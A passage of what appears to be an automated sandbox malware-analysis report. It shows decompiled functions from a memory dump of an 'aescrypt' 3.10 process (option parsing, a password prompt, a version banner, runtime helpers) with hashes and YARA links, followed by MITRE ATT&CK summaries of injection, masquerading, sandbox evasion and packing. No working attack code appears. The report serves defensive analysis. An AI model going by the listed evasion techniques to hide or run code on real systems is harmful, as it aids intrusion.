											if( *((short*)(_t49 + _t29 * 2)) == 0) {
												 *0x888fa4 =  *0x888fa4 + 1;
												__eflags =  *0x888fa4;
												 *0x889d60 = 0;
											}
										}
										return _t55;
									} else {
										_t32 =  *0x888fa4; // 0x5
										_t50 =  *((intOrPtr*)(_t53 + _t32 * 4));
										_t45 =  *0x889d60; // 0x0
										__eflags =  *((short*)(_t50 + _t45 * 2));
										_t46 = _t50 + _t45 * 2;
										if( *((short*)(_t50 + _t45 * 2)) != 0) {
											L18:
											_t33 = _t32 + 1;
											__eflags = _t33;
											 *0x888fa4 = _t33;
											 *0x889d58 = _t46;
											 *0x889d60 = 0;
											return _t55;
										} else {
											_t32 = _t32 + 1;
											 *0x888fa4 = _t32;
											__eflags = _t32 - _t41;
											if(__eflags < 0) {
												_t46 =  *((intOrPtr*)(_t53 + _t32 * 4));
												goto L18;
											} else {
												_push(_t55);
												_push( *_t53);
												_push(L"%s: option requires an argument -- %c\n");
												_push(E00878DA3() + 0x40);
												E00878C47(_t41,  *_t53, _t53, _t55, __eflags);
												_t38 =  *0x888fa4; // 0x5
												_t39 = _t38 + 1;
												__eflags = _t39;
												 *0x888fa4 = _t39;
												 *0x889d60 = 0;
												return 0x3f;
											}
										}
									}
								}
							}
						} else {
							_t22 =  *(__edi + _t42 * 4);
							if( *_t22 != 0x2d) {
								goto L8;
							} else {
								_t52 =  *(_t22 + 2) & 0x0000ffff;
								if(_t52 == 0) {
									goto L8;
								} else {
									if(_t52 != 0x2d ||  *((short*)(_t22 + 4)) != 0) {
										_t24 = 1;
										goto L11;
									} else {
										 *0x888fa4 = _t42 + 1;
										goto L8;
									}
								}
							}
						}
					}
				}
			}

APIs

_wcschr.LIBCMT ref: 00875B87
_fwprintf.LIBCMT ref: 00875BD6
_fwprintf.LIBCMT ref: 00875C2B

Strings

%s: illegal option -- %c, xrefs: 00875C1D
%s: option requires an argument -- %c, xrefs: 00875BC8
vhdep:o:, xrefs: 00875B82

Memory Dump Source

Source File: 0000000B.00000002.217149017.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 0000000B.00000002.217144739.0000000000870000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217167848.0000000000884000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217173733.0000000000888000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.217184413.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _fwprintf$_wcschr
String ID: %s: illegal option -- %c$%s: option requires an argument -- %c$vhdep:o:
API String ID: 2777812343-129695684
Opcode ID: 099da35255139786986df8253216880900241070a7339b5c7f79fc6e30a3a490
Instruction ID: a1c1bf89506fa169dd629d186b58120b14412848bffb27b1208fa68e8e34dba6
Opcode Fuzzy Hash: 099da35255139786986df8253216880900241070a7339b5c7f79fc6e30a3a490
Instruction Fuzzy Hash: 52317E70A006118FD765EF1CED45B3537A5FB98324F588019E44ACB2A9EBB0EC91C7D5

Uniqueness

Uniqueness Score: -1.00%

Function 00880728, Relevance: 9.0, APIs: 6, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E00880728(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x887060);
				E0087C4C0(__ebx, __edi, __esi);
				_t31 = E0087F4A5(__ebx, __edx, _t35);
				_t15 =  *0x888c78; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E0087D872(_t25, _t31, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x888b80; // 0x830fd0
					if(__eflags != 0) {
						__eflags = _t33;
						if(__eflags != 0) {
							__eflags = InterlockedDecrement(_t33);
							if(__eflags == 0) {
								__eflags = _t33 - 0x888758;
								if(__eflags != 0) {
									E0087D622(_t33);
								}
							}
						}
						_t21 =  *0x888b80; // 0x830fd0
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x888b80; // 0x830fd0
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E008807C3();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				_t38 = _t33;
				if(_t33 == 0) {
					_push(0x20);
					E0087A272(_t29, _t38);
				}
				return E0087C505(_t33);
			}

APIs

__getptd.LIBCMT ref: 00880734

Part of subcall function 0087F4A5: __getptd_noexit.LIBCMT ref: 0087F4A8
Part of subcall function 0087F4A5: __amsg_exit.LIBCMT ref: 0087F4B5

__amsg_exit.LIBCMT ref: 00880754
__lock.LIBCMT ref: 00880764
InterlockedDecrement.KERNEL32(?), ref: 00880781
_free.LIBCMT ref: 00880794
InterlockedIncrement.KERNEL32(00830FD0), ref: 008807AC

Memory Dump Source

Source File: 0000000B.00000002.217149017.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 0000000B.00000002.217144739.0000000000870000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217167848.0000000000884000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217173733.0000000000888000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.217184413.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3470314060-0
Opcode ID: 4c449669e1d9322eb9337e859685e4b79aeaeef5b750a226088797d23b5e04d1
Instruction ID: e74469e1d1a3d3463cb98e44a178866febd8cd56dde2fa8ff5a5c6ed36940dac
Opcode Fuzzy Hash: 4c449669e1d9322eb9337e859685e4b79aeaeef5b750a226088797d23b5e04d1
Instruction Fuzzy Hash: 5C01AD32901B11EBD7A1BBAC984575E7360FF00760F188014E418E7291CB39BD85CFD6

Uniqueness

Uniqueness Score: -1.00%

Function 00875C70, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 149
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E00875C70(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				char _v2060;
				void* _v2064;
				signed int _v2068;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t26;
				signed int _t28;
				signed int _t51;
				signed int _t59;
				intOrPtr* _t71;
				signed int _t76;
				void* _t83;
				signed int _t87;
				signed int _t88;
				void* _t89;
				void* _t90;

				_t26 =  *0x888288; // 0xb2c0100a
				_v8 = _t26 ^ _t88;
				_t83 = __ecx;
				_v2064 = __ecx;
				_t59 = _v2064;
				_t28 = 0;
				_v2068 = 0;
				L1:
				while(1) {
					if(_t28 == 0) {
						L5:
						_push(L"Enter password: ");
						E00879D6A(_t59, _t76, _t83, _t87, _t97);
						_push(E00878DA3() + 0x20);
						E0087912E(_t59, _t76, _t83, _t87, _t97);
						_t90 = _t89 + 8;
						_t59 = 0;
						_t87 = E00879D28(_t76, _t87, _t97) & 0x0000ffff;
						if(_t87 == 0xd) {
							L11:
							 *(_t83 + _t59 * 2) = 0;
						} else {
							while(_t87 != 3) {
								_t100 = _t59 - 0x400;
								if(_t59 <= 0x400) {
									 *(_t83 + _t59 * 2) = _t87;
								}
								_t59 = _t59 + 1;
								_t87 = E00879D28(_t76, _t87, _t100) & 0x0000ffff;
								if(_t87 != 0xd) {
									continue;
								}
								break;
							}
							if(_t59 <= 0x400) {
								goto L11;
							}
						}
						_push(L"\r\n");
						E00879D6A(_t59, _t76, _t83, _t87, 0);
						_t83 = _v2064;
						_t89 = _t90 + 4;
						if(_t87 == 3) {
							memset(_t83, 0xbadbad, 0x200 << 2);
							asm("stosw");
							__eflags = _v8 ^ _t88;
							return E00878AD6(0xfffffffb, _t59, _v8 ^ _t88, 0 << 0x10, _t83 + 0x200, _t87);
						} else {
							if(_t59 > 0x400) {
								memset(_t83, 0xbadbad, 0x200 << 2);
								asm("stosw");
								__eflags = _v8 ^ _t88;
								return E00878AD6(0xfffffffa, _t59, _v8 ^ _t88, 0 << 0x10, _t83 + 0x200, _t87);
							} else {
								_v2068 = _v2068 + 1;
								_t28 = _v2068;
								continue;
							}
						}
					} else {
						if(_t28 != 1) {
							__eflags = _a4 - 2;
							if(_a4 != 2) {
								goto L25;
							} else {
								_t71 =  &_v2060;
								_t51 = _t83;
								while(1) {
									_t76 =  *_t51;
									__eflags = _t76 -  *_t71;
									if(_t76 !=  *_t71) {
										break;
									}
									__eflags = _t76;
									if(_t76 == 0) {
										L21:
										_t51 = 0;
									} else {
										_t76 =  *((intOrPtr*)(_t51 + 2));
										__eflags = _t76 -  *((intOrPtr*)(_t71 + 2));
										if(_t76 !=  *((intOrPtr*)(_t71 + 2))) {
											break;
										} else {
											_t51 = _t51 + 4;
											_t71 = _t71 + 4;
											__eflags = _t76;
											if(_t76 != 0) {
												continue;
											} else {
												goto L21;
											}
										}
									}
									L23:
									__eflags = _t51;
									if(_t51 == 0) {
										goto L25;
									} else {
										memset(_t83, 0xbadbad, 0x200 << 2);
										asm("stosw");
										__eflags = _v8 ^ _t88;
										return E00878AD6(0xfffffff9, _t59, _v8 ^ _t88, 0 << 0x10, _t83 + 0x200, _t87);
									}
									goto L28;
								}
								asm("sbb eax, eax");
								asm("sbb eax, 0xffffffff");
								goto L23;
							}
						} else {
							_t97 = _a4 - 2;
							if(_a4 != 2) {
								L25:
								__eflags = _v8 ^ _t88;
								return E00878AD6(_t59, _t59, _v8 ^ _t88, _t76, _t83, _t87);
							} else {
								_push(L"Re-");
								_t83 =  &_v2060;
								E00879D6A(_t59, _t76, _t83, _t87, _t97);
								_t89 = _t89 + 4;
								goto L5;
							}
						}
					}
					L28:
				}
			}

APIs

_wprintf.LIBCMT ref: 00875CC2
_wprintf.LIBCMT ref: 00875CCF
_wprintf.LIBCMT ref: 00875D27

Strings

Enter password: , xrefs: 00875CCA
Re-, xrefs: 00875CB7

Memory Dump Source

Source File: 0000000B.00000002.217149017.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 0000000B.00000002.217144739.0000000000870000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217167848.0000000000884000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217173733.0000000000888000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.217184413.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _wprintf
String ID: Enter password: $Re-
API String ID: 2738768116-153011214
Opcode ID: f496b759cdfc005eb30fdc4ea52724339568f113c390eaaba98c24aa511edc3c
Instruction ID: b8de08c319e9fccbd46b32f82bc92cb7751e76649f9a3beca2846027535515fb
Opcode Fuzzy Hash: f496b759cdfc005eb30fdc4ea52724339568f113c390eaaba98c24aa511edc3c
Instruction Fuzzy Hash: AD414731B009189ADB30AB3CCC452A9B3A1FF68320F94C676E85DD3299EE75CD448792

Uniqueness

Uniqueness Score: -1.00%

Function 008752F0, Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E008752F0(char* __edx) {
				char* _t1;
				void* _t5;
				signed int _t6;
				char* _t7;
				void* _t8;
				void* _t9;

				_t7 = __edx;
				_t1 = __edx;
				if( *((short*)(__edx)) != 0) {
					do {
						_t1 =  &(_t1[2]);
					} while ( *_t1 != 0);
					if(_t1 > __edx) {
						while(1) {
							_t6 =  *_t1 & 0x0000ffff;
							if(_t6 == 0x5c || _t6 == 0x2f) {
								break;
							}
							_t1 = _t1 - 2;
							if(_t1 > _t7) {
								continue;
							} else {
							}
							goto L10;
						}
						_t1 =  &(_t1[2]);
						__eflags = _t1;
					}
				}
				L10:
				if( *_t1 == 0) {
					_t1 = L"aescrypt";
				}
				_push(L"April 16, 2015");
				_push(L"3.10");
				_push(_t1);
				_push(L"\n%s version %s (%s)\n\n");
				_t3 = E00878DA3() + 0x40;
				_push(E00878DA3() + 0x40);
				return E00878C47(_t5, _t7, _t8, _t9, _t3);
			}

APIs

_fwprintf.LIBCMT ref: 0087534D

Strings

aescrypt, xrefs: 0087532F, 0087533E
3.10, xrefs: 00875339
April 16, 2015, xrefs: 00875334
%s version %s (%s), xrefs: 0087533F

Memory Dump Source

Source File: 0000000B.00000002.217149017.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 0000000B.00000002.217144739.0000000000870000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217167848.0000000000884000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217173733.0000000000888000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.217184413.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _fwprintf
String ID: %s version %s (%s)$3.10$April 16, 2015$aescrypt
API String ID: 394020290-1689261965
Opcode ID: eb5e05e4e36e78ef4d5cbc2b2442e1a6acc3c7286887c4710a259301487af4f4
Instruction ID: 3539e240237fea297522daf9671fcb524ebaa9bc46914a3a4f985497ea83f5e7
Opcode Fuzzy Hash: eb5e05e4e36e78ef4d5cbc2b2442e1a6acc3c7286887c4710a259301487af4f4
Instruction Fuzzy Hash: 63F03082E00E4696EB7836588C566365651FB63784BECC055E01ECE7B9F6E6CCD04263

Uniqueness

Uniqueness Score: -1.00%

Function 00880242, Relevance: 7.6, APIs: 5, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00880242(void* __edx, void* __edi, void* __esi, void* _a4, long _a8) {
				void* _t7;
				long _t8;
				intOrPtr* _t9;
				intOrPtr* _t12;
				long _t27;
				long _t30;

				if(_a4 != 0) {
					_push(__esi);
					_t30 = _a8;
					__eflags = _t30;
					if(_t30 != 0) {
						_push(__edi);
						while(1) {
							__eflags = _t30 - 0xffffffe0;
							if(_t30 > 0xffffffe0) {
								break;
							}
							__eflags = _t30;
							if(_t30 == 0) {
								_t30 = _t30 + 1;
								__eflags = _t30;
							}
							_t7 = HeapReAlloc( *0x889ce8, 0, _a4, _t30);
							_t27 = _t7;
							__eflags = _t27;
							if(_t27 != 0) {
								L17:
								_t8 = _t27;
							} else {
								__eflags =  *0x889d4c - _t7;
								if(__eflags == 0) {
									_t9 = E0087B831(__eflags);
									 *_t9 = E0087B7EF(GetLastError());
									goto L17;
								} else {
									__eflags = E0087FA9E(_t7, _t30);
									if(__eflags == 0) {
										_t12 = E0087B831(__eflags);
										 *_t12 = E0087B7EF(GetLastError());
										L12:
										_t8 = 0;
										__eflags = 0;
									} else {
										continue;
									}
								}
							}
							goto L14;
						}
						E0087FA9E(_t6, _t30);
						 *((intOrPtr*)(E0087B831(__eflags))) = 0xc;
						goto L12;
					} else {
						E0087D622(_a4);
						_t8 = 0;
					}
					L14:
					return _t8;
				} else {
					return E0088012C(__edx, __edi, __esi, _a8);
				}
			}

APIs

_malloc.LIBCMT ref: 00880250

Part of subcall function 0088012C: __FF_MSGBANNER.LIBCMT ref: 00880145
Part of subcall function 0088012C: __NMSG_WRITE.LIBCMT ref: 0088014C
Part of subcall function 0088012C: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,0087A5F9,0087F3C2,00000001,0087F3C2,?,0087D7FD,00000018,00886ED0,0000000C,0087D88D), ref: 00880171

_free.LIBCMT ref: 00880263

Memory Dump Source

Source File: 0000000B.00000002.217149017.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 0000000B.00000002.217144739.0000000000870000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217167848.0000000000884000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217173733.0000000000888000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.217184413.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 4046eda72573a0938442bf398d3087a069c4a9c2ab1fe89d7f84d712b94e147f
Instruction ID: 39ebff81b3b9c006580513224e51b1f5592399ffe98b653970fd0d4985130713
Opcode Fuzzy Hash: 4046eda72573a0938442bf398d3087a069c4a9c2ab1fe89d7f84d712b94e147f
Instruction Fuzzy Hash: AC11C132804615EBCBA27B7CA80876E3796FF543B0B208535FD4DDB151EBB4C8448B96

Uniqueness

Uniqueness Score: -1.00%

Function 00880EA9, Relevance: 7.5, APIs: 5, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00880EA9(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t12;
				void* _t28;
				intOrPtr _t29;
				void* _t30;
				void* _t31;

				_t31 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t20 = __ebx;
				_push(0xc);
				_push(0x8870a0);
				E0087C4C0(__ebx, __edi, __esi);
				_t28 = E0087F4A5(__ebx, __edx, _t31);
				_t12 =  *0x888c78; // 0xfffffffe
				if(( *(_t28 + 0x70) & _t12) == 0) {
					L6:
					E0087D872(_t20, _t26, 0xc);
					 *(_t30 - 4) =  *(_t30 - 4) & 0x00000000;
					_t29 = _t28 + 0x6c;
					 *((intOrPtr*)(_t30 - 0x1c)) = E00880E5C(_t29,  *0x888ec0);
					 *(_t30 - 4) = 0xfffffffe;
					E00880F16();
				} else {
					_t33 =  *((intOrPtr*)(_t28 + 0x6c));
					if( *((intOrPtr*)(_t28 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t29 =  *((intOrPtr*)(E0087F4A5(_t20, __edx, _t33) + 0x6c));
					}
				}
				_t34 = _t29;
				if(_t29 == 0) {
					_push(0x20);
					E0087A272(_t25, _t34);
				}
				return E0087C505(_t29);
			}

APIs

__getptd.LIBCMT ref: 00880EB5

Part of subcall function 0087F4A5: __getptd_noexit.LIBCMT ref: 0087F4A8
Part of subcall function 0087F4A5: __amsg_exit.LIBCMT ref: 0087F4B5

__getptd.LIBCMT ref: 00880ECC
__amsg_exit.LIBCMT ref: 00880EDA
__lock.LIBCMT ref: 00880EEA
__updatetlocinfoEx_nolock.LIBCMT ref: 00880EFE

Memory Dump Source

Source File: 0000000B.00000002.217149017.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 0000000B.00000002.217144739.0000000000870000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217167848.0000000000884000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217173733.0000000000888000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.217184413.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 7910ef55b2f60b33713ad1d3920b1342c48cb20efbcbef776647a634ca7c987f
Instruction ID: 231ae7951873872a2d97d8ae171fcb0305cdd781040f84137a2f6333f0fffa97
Opcode Fuzzy Hash: 7910ef55b2f60b33713ad1d3920b1342c48cb20efbcbef776647a634ca7c987f
Instruction Fuzzy Hash: 51F06D729007049BE6A1BBAC980271F32A0FF00724F658919E518E61E6CF7499449B6B

Uniqueness

Uniqueness Score: -1.00%

Function 00881195, Relevance: 6.1, APIs: 4, Instructions: 103
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00881195(void* __edi, short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				signed int _v12;
				char _v20;
				char _t43;
				char _t46;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				int _t57;
				int _t58;
				char _t59;
				short* _t60;
				int _t65;
				char* _t73;

				_t73 = _a8;
				if(_t73 == 0 || _a12 == 0) {
					L5:
					return 0;
				} else {
					if( *_t73 != 0) {
						E0087A931( &_v20, __edi, _a16);
						_t43 = _v20;
						__eflags =  *(_t43 + 0x14);
						if( *(_t43 + 0x14) != 0) {
							_t46 = E008810AA( *_t73 & 0x000000ff,  &_v20);
							__eflags = _t46;
							if(_t46 == 0) {
								__eflags = _a4;
								__eflags = MultiByteToWideChar( *(_v20 + 4), 9, _t73, 1, _a4, 0 | _a4 != 0x00000000);
								if(__eflags != 0) {
									L10:
									__eflags = _v8;
									if(_v8 != 0) {
										_t53 = _v12;
										_t11 = _t53 + 0x70;
										 *_t11 =  *(_t53 + 0x70) & 0xfffffffd;
										__eflags =  *_t11;
									}
									return 1;
								}
								L21:
								_t54 = E0087B831(__eflags);
								 *_t54 = 0x2a;
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t33 = _t54 + 0x70;
									 *_t33 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t33;
								}
								return _t54 | 0xffffffff;
							}
							_t56 = _v20;
							_t65 =  *(_t56 + 0xac);
							__eflags = _t65 - 1;
							if(_t65 <= 1) {
								L17:
								__eflags = _a12 -  *(_t56 + 0xac);
								if(__eflags < 0) {
									goto L21;
								}
								__eflags = _t73[1];
								if(__eflags == 0) {
									goto L21;
								}
								L19:
								_t57 =  *(_t56 + 0xac);
								__eflags = _v8;
								if(_v8 == 0) {
									return _t57;
								}
								 *((intOrPtr*)(_v12 + 0x70)) =  *(_v12 + 0x70) & 0xfffffffd;
								return _t57;
							}
							__eflags = _a12 - _t65;
							if(_a12 < _t65) {
								goto L17;
							}
							__eflags = _a4;
							_t58 = MultiByteToWideChar( *(_t56 + 4), 9, _t73, _t65, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t58;
							_t56 = _v20;
							if(_t58 != 0) {
								goto L19;
							}
							goto L17;
						}
						_t59 = _a4;
						__eflags = _t59;
						if(_t59 != 0) {
							 *_t59 =  *_t73 & 0x000000ff;
						}
						goto L10;
					} else {
						_t60 = _a4;
						if(_t60 != 0) {
							 *_t60 = 0;
						}
						goto L5;
					}
				}
			}

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 008811C9
__isleadbyte_l.LIBCMT ref: 008811FC
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000,?,?,?,0000000C,?,00000000), ref: 0088122D
MultiByteToWideChar.KERNEL32(?,00000009,?,00000001,00000000,00000000,?,?,?,0000000C,?,00000000), ref: 0088129B

Memory Dump Source

Source File: 0000000B.00000002.217149017.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 0000000B.00000002.217144739.0000000000870000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217167848.0000000000884000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217173733.0000000000888000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.217184413.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 66f403985ea7791071b4b56af2f01ddd176614c5be553d37adff073f4c8c2b95
Instruction ID: ce1fad5968536731f39017451c657d442afcd826b689fc28055dc722825a363c
Opcode Fuzzy Hash: 66f403985ea7791071b4b56af2f01ddd176614c5be553d37adff073f4c8c2b95
Instruction Fuzzy Hash: A231B135A14246EFCF20EFA8C88CAAE3BA9FF01350F1485A9E565CB191DB30D942DB51

Uniqueness

Uniqueness Score: -1.00%

Function 008785E0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E008785E0(unsigned int __eax, void* __ecx, signed int* __esi, intOrPtr _a4) {
				signed int _v8;
				signed int _t21;
				void* _t29;
				unsigned int _t32;
				signed int _t34;
				signed int _t35;
				unsigned int _t41;
				signed int* _t43;
				void* _t44;

				_t43 = __esi;
				_t34 =  *__esi;
				_t41 = __eax;
				_t21 = _t34 & 0x0000003f;
				_t35 = _t34 + __eax;
				_t29 = 0x40 - _t21;
				_v8 = _t21;
				 *__esi = _t35;
				if(_t35 < __eax) {
					__esi[1] = __esi[1] + 1;
				}
				if(_t21 != 0 && _t41 >= _t29) {
					E0087E790( &(_t43[0xa]) + _t21, _a4, _t29);
					E00875E90( &(_t43[0xa]), _t43);
					_v8 = 0;
					_t21 = _v8;
					_t44 = _t44 + 0x10;
					_t41 = _t41 - _t29;
					_a4 = _a4 + _t29;
				}
				if(_t41 >= 0x40) {
					_t32 = _t41 >> 6;
					do {
						E00875E90(_a4, _t43);
						_a4 = _a4 + 0x40;
						_t44 = _t44 + 4;
						_t41 = _t41 - 0x40;
						_t32 = _t32 - 1;
					} while (_t32 != 0);
					_t21 = _v8;
				}
				if(_t41 != 0) {
					_t21 = E0087E790( &(_t43[0xa]) + _t21, _a4, _t41);
				}
				return _t21;
			}

APIs

_memmove.LIBCMT ref: 00878616
_memmove.LIBCMT ref: 00878667

Strings

@, xrefs: 00878649

Memory Dump Source

Source File: 0000000B.00000002.217149017.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 0000000B.00000002.217144739.0000000000870000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217167848.0000000000884000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217173733.0000000000888000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.217184413.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _memmove
String ID: @
API String ID: 4104443479-2766056989
Opcode ID: 090d2133cb2993c48b8a70aa1153c7810eb19ba37bb19cddb2b5debad7f182ea
Instruction ID: 5ac936f0e01665c5637d5bfc925077001005f2171e1979b71bfe78e2811e45fa
Opcode Fuzzy Hash: 090d2133cb2993c48b8a70aa1153c7810eb19ba37bb19cddb2b5debad7f182ea
Instruction Fuzzy Hash: 8C11C6B3600608ABC714DE98D8C999E77BAFF98354F50856DE90ECB205EA30DF408751

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

